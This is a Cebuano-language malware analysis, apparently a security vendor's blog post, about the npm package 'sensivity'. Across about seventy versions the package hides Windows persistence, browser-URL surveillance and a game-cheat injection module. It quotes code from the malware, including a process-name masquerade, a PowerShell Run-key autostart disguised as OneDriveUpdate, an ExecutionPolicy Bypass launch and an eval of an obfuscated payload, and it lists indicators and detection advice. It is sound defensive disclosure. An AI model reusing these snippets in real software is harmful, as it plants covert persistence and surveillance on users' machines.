PairLoop: Natago nga Remote-Control Panel sa npm Package

PairLoop: Usa ka npm Package, Setenta ka Bersyon, ug usa ka Natago nga Windows Remote-Control Panel

TL; DR

Ang pakete sa npm pagkasensitibo naghulagway sa iyang kaugalingon isip usa ka "Sensivity Control Panel." Sa Windows kini molihok isip usa ka remote-control ug surveillance tool.

Ang iyang entrada, launcher.js, giilisan ang ngalan sa kaugalingon nga proseso ngadto sa Runtime Broker, nagsulat og autostart Run-key value nga ginganlan og OneDriveUpdate nga naglunsad pag-usab sa pakete pinaagi sa usa ka tinago nga VBScript, nagpagawas sa PowerShell nga adunay -ExecutionPolicy Bypass, ug dayon nag-evaluate sa 171 KB nga obfuscated server payload uban sa 6.87 MB nga native module, sens.node.

Kini nagsilbing phone-pairing control panel sa TCP port 3000 ug nagbasa sa address-bar URL sa aktibong browser pinaagi sa Windows UIAutomation, nga nagtan-aw sa usa ka hard-coded nga YouTube video.

Duha ka bahin nga kaniadto mabasa nga wala isipa nga mga itom nga kahon nasulbad na karon. Ang obfuscated server, server.obf.js, mogamit og obfuscator.io RC4 string-array scheme; ang pag-implementar pag-usab sa decoder niini offline (walay JavaScript nga gipadagan) makabawi og usa ka eksternal nga endpoint — https://izopi.com/check.php — uban sa usa ka naka-embed nga RSA public key nga gigamit aron mapamatud-an ang gipirmahan nga mga tubag sa lisensya.

Ang lumad nga modyul, sens.node, wala giputos: ang import table ug embedded strings niini nagpaila niini isip usa ka DirectX 11 / Dear ImGui in-game overlay nga naghatag og aimbot, ESP (wall-hack), ug triggerbot features, nga gimaneho sa remote-process injection ug memory reads/writes.

Ang mga string sa sulod niini nagtumong sa mga entidad sa sakyanan ug mga lokasyon sa mapa nga nahiuyon sa GTA V / FiveM. Ang npm package mao ang delivery ug persistence wrapper palibot sa maong native module.

Ang nag-unang senyales kay operasyonal, dili teknikal: usa ka wala mailhing tigmantala ang nagpagawas ug halos setenta ka bersyon sa usa ka pakete — 2.5.0 hangtod 2.5.69 — sulod sa pipila ka adlaw, ang matag usa nagdala sa samang launcher.

Walay mga pag-instalar hooksAng payload modagan lang kung ang package gisugdan na.

Ang Pag-atake: Giunsa Kini Paglihok

Ang sensivity magpadala og napulo ka mga file. Ang package.json gamay ra: walay repository field, walay lisensya, usa ka main ug duha ka bin alias (sensivity, sens) nga tanan nagtudlo sa launcher.js, ug usa ka start script sa node launcher.js. Walay postinstall o preinstall. Walay mo-fire sa npm install. Ang kinaiya nga gihulagway sa ubos modagan kung ang usa ka user magsugod sa package — pinaagi sa bin shim, sa start script, o sa require.

Ang tarball nagdala sa launcher, usa ka obfuscated server, ang native module, usa ka Visual Basic script, ug usa ka public/web directory para sa control panel. Ang launcher.js mao ang mabasa nga orchestrator; ang logic nga importante sa runtime anaa sa duha ka blob nga gikarga niini — usa ka obfuscated server ug usa ka compiled native module, nga parehong gi-resolve sa ubos.

 Proseso nga pagmaskara ug usa ka peke nga OneDrive updater

Sa sayong bahin sa pagpatuman, ang launcher.js mobutang sa kaugalingon niining ngalan sa proseso kaduha:

   javascript process.title = 'Runtime Broker'; 

Ang Runtime Broker usa ka lehitimong proseso sa Windows (RuntimeBroker.exe) nga nagpataliwala sa mga permiso sa app. Ang pag-ilis sa ngalan sa usa ka proseso sa Node aron mohaom niini nagpasabut nga ang dali nga pagtan-aw sa Task Manager wala magpakita og bisan unsa nga talagsaon.

Ang Persistence gisulat pinaagi sa PowerShell imbes nga usa ka direktang registry API:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Ang autostart value ginganlan og OneDriveUpdate, ug dili kini direktang nagtudlo sa package. Kini nagtudlo sa wscript.exe nga nagpadagan sa naka-bundle nga OneDrive.Standalone.Updater.vbs. Kanang script mo-relaunch sa node launcher.js sa usa ka tinago nga bintana. Ang ngalan sa Run-key ug ang ngalan sa VBScript file parehong naggamit sa branding sa Microsoft, busa ang autostart entry mabasa nga usa ka rutina nga buluhaton sa OneDrive.

PowerShell nga adunay bypass sa palisiya sa pagpatuman

Ang launcher balik-balik nga mo-charge sa PowerShell. Ang sink nga gi-flag sa mga scanner nga kritikal mao ang paglusad sa usa ka na-generate nga .ps1 nga naka-disable ang execution policy:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Ang ExecutionPolicy Bypass nagtangtang sa local script-signing check para sa maong invocation. Ang gihimo nga mga script nagdumala sa browser-surveillance ug window-detection nga trabaho nga gihulagway sa sunod nga seksyon.

Ang natago nga server ug ang lumad nga module

Human sa pag-setup, ang launcher.js mo-load ug mo-execute sa tinuod nga payload niini:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

Ang server.obf.js kay 171 KB sa _0x-array obfuscation — ang JavaScript pattern diin ang matag string ug identifier gipulihan sa usa ka index ngadto sa usa ka shuffled array, dayon gi-de-reference sa runtime. Ang scheme mao ang RC4 variant nga gihimo sa obfuscator.io: usa ka single decoder function nga base64-decodes ang usa ka array entry ug dayon RC4-decrypt kini gamit ang per-call key. Ang pag-implementar pag-usab sa maong decoder sa usa ka lahi nga script — pagpadagan lamang sa re-implementation sa nakuha nga 821-entry string array, dili ang kaugalingong JavaScript sa package — mag-unwind niini nga limpyo. Unsa nga mga surface ang kasarangan apan decisive: usa ka external URL, https://izopi.com/check.php`, nga gi-assign sa usa ka LICENSE_URL constant; usa ka embedded RSA PUBLIC_KEY_PEM`; ang local panel mo-ruta sa /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, ug /trigger/status; ug ang mga strings nga child_process, crypto, ug [Sensivity] sens.node nga gikarga — ang katapusan mao ang eksaktong log line nga gi-rewrite sa launcher ngadto sa program module nga gikarga. Ang endpoint usa ka license check: ang client mo-post og identifier (ang obfuscated server mo-format og Discord ID: %s string) ug ang RSA key mo-verify sa signed response sa server.

Ang sens.node usa ka 6.87 MB nga native addon nga gi-compile, ug wala kini gi-pack — ang section entropy naa sa 5.6–6.6 ug ang PE import ug export tables wala madaot, busa ang mga kapabilidad niini mabasa direkta. Gi-export niini ang napi_register_module_v1, ang standard Ang Node N-API entry point, mao nga ang eval'd server nagkarga niini og yano nga kinahanglanon. Ang import table niini mao ang nag-ingon. Gikan sa KERNEL32, kini mokuha sa OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, ug Process32First/NextW — ang canonical set para sa pagpangita og laing proseso, pag-allocate og memory sa sulod niini, ug pagbasa o pagsulat niana nga memory. Gikan sa USER32, kini mokuha sa GetAsyncKeyState, GetKeyState, mouse_event, ug SetCursorPos; kini mag-link sa d3d11.dll, D3DCOMPILER_43, ug dwmapi para sa on-screen overlay, ug ang kompletong WINHTTP set para sa mga network call. Ang mga naka-embed nga string niini nagngalan sa feature set nga walay pagduhaduha: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, ug ang Dear ImGui banner nga Dear ImGui 1.91.3 WIP. Ang lokasyon ug entity strings sama sa Grapeseed Medical Clinic ug ang vehicle-ESP nga bokabularyo nahiuyon sa GTA V / FiveM.

Ang pagkabahin tinuyo sa epekto: ang readable launcher.js nagdala lamang sa mga bahin nga dali basahon sa scanner — persistence, masquerade, ang eval call mismo — samtang ang obfuscation nagtago sa usa ka external host nga mao ang runtime contacts, ug ang binary naghupot sa game-overlay ug process-injection logic. Ang launcher mao ang nipis, auditable shell; ang obfuscated server nagtago sa network identity; ang native module mao ang payload. Atong gihulagway ang mga import ug string sa binary nga nabasa; dili nato i-infer ang katuyoan sa operator gikan niini.

 Usa ka control panel sa pagpares sa telepono sa port 3000

Ang launcher modumala sa usa ka local web server sa TCP port 3000 ug motratar niini isip usa ka singleton. Kini mo-query alang sa usa ka kasamtangang listener ug mo-clear niini sa dili pa mag-binding:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Ang panel maabot sa http://localhost:3000, nga adunay hard-coded LAN fallback URL nga http://192.168.1.16:3000. Ang public/ directory ug ang kinaiya sa panel nahiuyon sa QR-pairing flow: ang telepono mo-scan sa code ug mo-bind sa host isip remote. Walay external command-and-control domain nga makita sa cleartext sa launcher — apan, sama sa gipakita sa deobfuscation sa ibabaw, adunay usa nga makita sa obfuscated server: ang izopi.com license endpoint. Ang panel mismo kay local ug LAN-scoped; ang outbound host lang mao ang license check.

Ang usa ka detached supervisor/worker model nagpabilin sa proseso nga buhi. Ang launcher mopasanay pag-usab sa iyang kaugalingon gamit ang SENSIVITY_SUPERVISOR ug SENSIVITY_WORKER environment flags, ang matag anak modagan nga tinago, busa ang pagpatay sa usa ka proseso magbilin ug watchdog nga mosugod pag-usab niini.

Pagpaniid sa Browser ug ang YouTube Signal

Ang pinaka-espesipikong pamatasan mao ang pagmonitor sa browser. Ang launcher.js nagtukod og PowerShell nga nagduso sa Windows UIAutomation aron basahon ang address bar sa usa ka nagdagan nga browser:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

Ang ValuePattern mobalik sa text content sa usa ka UI element. Kon gamiton sa address-bar edit control sa browser, kini mobalik sa URL nga kasamtangang gitan-aw sa biktima — walay browser extension, walay paghikap sa profile sa disk, ug walay API hook. Ang gihimo nga script mo-iterate sa $browserNames list ug mo-extract sa URL o window title sa bisan unsang browser nga naa sa foreground.

Kana nga URL gisulayan batok sa usa ka hard-coded nga target:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Ang launcher mo-poll sa tulo ka segundos nga loop para sa usa ka browser window nga nagpakita sa YouTube, ug ang namugna nga PowerShell adunay Get-YouTubeBrowser / Test-TargetYouTubeUrl pair nga motakdo sa maong video ID. Ang makita nga epekto duha ka pilo: ang aktibong browsing URL mabasa gikan sa screen sa biktima, ug ang interaksyon sa host sa usa ka piho nga video sa YouTube ma-detect. Atong ihulagway ang mekanismo ug ang target; dili kita mo-infer og motibo gikan kanila.

Ang mabasa sa address-bar mao ang gitawag sa scanner nga sensitive_data_enumeration — usa ka tinubdan sa Process::env ug UIAutomation nga naghatag og network-capable runtime. Kini morag dili makadaot kon ilain ug mo-surveillance lang kon ang data lifecycle masubay na gikan sa tinubdan sa UIAutomation ngadto sa obfuscated server.

Timeline ug Ebolusyon sa Bersyon

Ang sensivity dili usa ka one-shot nga upload. Ang publisher account adunay gibana-bana nga setenta ka mga napublikar nga bersyon niining single package, ug ang mga bag-o padayon nga nangabot atol sa review window. Ang launcher nagkadaghan ang feature por feature sa tibuok 2.5.x nga linya samtang ang persistence ug payload-loading niini nagpabilin nga naayo.

Petsa (UTC) Mga bersyon nga naobserbahan Kahimtang sa tiglunsad
2026-06-02 2.5.8 - 2.5.46 (25) Base nga QR-panel launcher; Pagpapadayon sa run-key; ebalwasyon sa natago nga server.
2026-06-03 2.5.53 - 2.5.61 (6) Parehas nga fingerprint; pagpugong sa console-trace.
2026-06-04 2.5.67, 2.5.68 (2) Nagdugang og naka-pin nga target sa pakiglambigit sa YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Pag-usab sa pagpuno sa mga kakulangan sa tibuok nga sakup; superbisor/tigbantay sa trabahante.

Ang pagbasa sa launcher sa mga na-download nga representante — 2.5.0, 2.5.36, ug 2.5.69 — nagpakita og upat ka tier. Ang labing una nga mga build adunay base QR-pairing launcher. Sugod sa 2.5.33, makita ang UIAutomation address-bar harvester. Sugod sa 2.5.58, usa ka supervisor-management layer ang gidugang. Sugod sa 2.5.64, ang detached supervisor/worker watchdog ang mokompleto sa set. Sa kinatibuk-an, upat ka butang ang dili mausab: ang OneDriveUpdate Run key, ang OneDrive.Standalone.Updater.vbs dropper, ang eval'd server.obf.js, ug ang sens.node native module.

Ang 2026-06-05 nga balud talagsaon tungod kay gimantala niini pag-usab ang ubos nga numero sa bersyon — 2.5.0 hangtod 2.5.15 — nga naa sa ubos sa mga bersyon nga gikumpirma pipila ka adlaw ang milabay. Ang epekto usa ka sunod-sunod nga linya sa 2.5.x sa registry, ang matag bersyon nagdala sa parehas nga launcher.

Mga timailhan sa kompromiso

Ang tanang mga timailhan sa ubos gibasa direkta gikan sa pakete nga tarball. Ang mabasa nga launcher nagdala lamang og loopback ug usa ka pribadong LAN address; ang usa ka eksternal nga hostname, ang izopi.com, nabawi pinaagi sa pag-deobfuscating sa server.obf.js offline.

Type timailhan Mubo nga mga sulat
package npm:sensivity (≈70 ka bersyon, 2.5.0-2.5.69) Usa ra ka pakete nga tigmantala; walay tipiganan; walay lisensya.
file launcher.js Mabasa nga orchestrator; main ug bin target.
file server.obf.js (≈171 KB) obfuscator.io RC4 string-array payload, gikarga pinaagi sa eval(fs.readFileSync(...)).
file sens.node (≈6.87 MB) PE32+ x86-64 Node N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
file OneDrive.Standalone.Updater.vbs Natago nga tig-usab sa paglansad (node launcher.js).
network https://izopi.com/check.php Nabawi ang endpoint sa lisensya/awtorisasyon gikan sa gitago nga server; gipamatud-an sa naka-embed nga RSA public key ang mga tubag.
Capability OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Kapabilidad sa remote-process injection ug memory read/write.
Capability Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui game overlay nga nagpatuman sa mga feature sa aimbot, ESP, ug triggerbot.
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Bili sa autostart nga nagtudlo sa wscript.exe ug ang VBScript launcher.
Proseso sa process.title = 'Runtime Broker' Nagtakuban isip lehitimong proseso sa Windows Runtime Broker.
Paggawi powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Pag-bypass sa execution-policy nga gigamit para sa mga namugna nga PowerShell script.
Paggawi UIAutomation ValuePattern pagbasa sa address bar sa browser Mobasa sa URL sa foreground browser window.
Paggawi ID sa target nga video wJWta2lO0Lw; 3-segundos nga poll sa YouTube Gi-pin nga signal sa pagmonitor sa engagement.
network http://localhost:3000, tabang http://192.168.1.16:3000 Ang QR-pairing control panel gipakita sa lokal ug sa LAN.
Environment SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Mga bandera sa koordinasyon sa proseso sa hilit nga watchdog.

Atribusyon, Epekto, ug mga Tigpanalipod

Ang pakete gipatik sa usa ka npm account kansang giingon nga email usa ka wala mapamatud-i nga Gmail address. Ang account adunay negatibo kaayo nga registry reputation score, nagmintinar ug nagpatik lamang niining usa ka pakete, ug walay nalambigit nga source repository. Wala pa namo mapamatud-i ang pagpanag-iya sa email ug among gipahinungod ang kampanya sa publisher account, dili sa bisan kinsang ginganlan nga indibidwal. Ang launcher walay cleartext infrastructure, apan ang usa ka external host nailhan na karon: ang obfuscated server nakigkontak sa izopi.com alang sa usa ka license check, ug ang native module — gibasa gikan sa import table ug strings niini imbes nga gibaliktad nga instruction-by-instruction — usa ka game overlay nga nag-inject ug nagbasa sa memorya sa laing proseso.

Ang makita nga epekto makita sa mga tiggamit sa Windows nga nag-install ug nagpadagan sa sensitibidad nga nagpaabot sa usa ka control-panel utility. Sa maong mga host, ang package nag-establisar sa autostart persistence nga nagtakuban isip usa ka OneDrive task, nag-ilis sa ngalan sa kaugalingon aron mosundog sa usa ka proseso sa sistema, nagbasa sa URL sa bisan unsa nga gi-browse sa tiggamit, ug nagpatindog og pairing panel nga nagbugkos sa makina ngadto sa usa ka remote pinaagi sa lokal nga network. Ang supervisor/worker watchdog nagpasabot nga ang usa ka single process kill dili makatangtang niini; ang Run-key entry mabuhi bisan pa sa mga reboot. Ang macOS ug Linux wala gitarget sa launcher — ang persistence, PowerShell, ug UIAutomation paths kay para lang sa Windows.

Ang setenta ka bersyon nga churn mao ang uso nga angay i-flag. Ang pag-publish pag-usab sa usa ka pakete sa daghang beses sulod sa pipila ka adlaw, lakip ang pagpuno pag-usab sa mga numero sa bersyon nga mas ubos kaysa sa mga natangtang na, magpabilin nga buhi ang kopya sa registry taliwala sa mga pagtangtang ug makapakyas sa mga blocklist nga gi-pin sa bersyon. Ang entry sa blocklist para sa sensivity@2.5.61 walay mahimo batok sa sensivity@2.5.3 nga gi-publish pag-usab sa sunod nga adlaw.

Ang mga tigpanalipod mahimong molihok sa mosunod:

  • Babagan gyud ang sensitibidad sa ngalan sa pakete sa mga allowlist sa registry-proxy ug CI. Ang pag-pin sa indibidwal nga mga bersyon mawad-an sa cadence sa pag-republish; ang ngalan mao ang lig-on nga timailhan.
  • Pangitaa ang Run value nga ginganlag OneDriveUpdate kansang data mo-invoke sa wscript.exe batok sa .vbs sa per-user path. Ang tinuod nga OneDrive updater wala marehistro niining paagiha.
  • Alerto sa usa ka proseso sa Node.js kansang process.title kay Runtime Broker. Ang tinuod nga broker kay RuntimeBroker.exe, dili usa ka Node runtime.
  • I-flag ang npm install-time fetches sa mga package nga nagpadala sa usa ka compiled .node addon plus usa ka eval(fs.readFileSync(…)) sa usa ka sibling .obf.js file. Kana nga pairing — opaque native binary nga gikarga tupad sa usa ka obfuscated text payload — mao ang structural tell dinhi, independente sa bisan unsang string IOC.
  • Isipa nga kadudahan ang bisan unsang locally-bound listener sa port 3000 nga gihimo sa wala damha nga proseso sa Node sa mga gidumala nga Windows endpoint.
  • Babagan o alerto ang mga outbound request sa izopi.com gikan sa developer o end-user hosts; kini ra ang external endpoint sa package, nga maabot sa /check.php gikan sa obfuscated server.
  • Para sa bisan unsang bundled nga .node addon, susiha ang import table niini sa dili pa kini saligan. Ang kombinasyon nga OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread kay remote-process injection bisan unsa pa ang giangkon sa package nga mahimo; dinhi kini nahimutang tupad sa usa ka Direct3D overlay ug aimbot/ESP/triggerbot strings.

Para sa estatikong pag-analisa pipelines, ang porma sa kombiksyon lig-on sa tibuok version churn: usa ka non-network install profile, usa ka process-title assignment ngadto sa usa ka nailhan nga system-process name, usa ka Run-key write pinaagi sa PowerShell, ug usa ka ebalwasyon sa usa ka file nga gibasa gikan sa disk. Wala niini ang nagdepende sa usa ka domain, usa ka IP, o usa ka version number nga mahimong i-rotate palayo sa sunod nga republish.

 mga pakisayran

[npm: pagkasensitibo] – panid sa rehistro para sa linya sa bersyon sa pakete nga gihisgutan dinhi; mahimong tangtangon.

mga himan sa pag-analisa sa komposisyon sa software sa sca
Unaha, ayoha, ug siguroha ang mga risgo sa imong software
Kuhaa ang Imong Libre nga Account.
Walay gikinahanglan nga credit card.

Seguraduha ang Imong Pagpalambo ug Paghatud sa Software

uban sa Xygeni Product Suite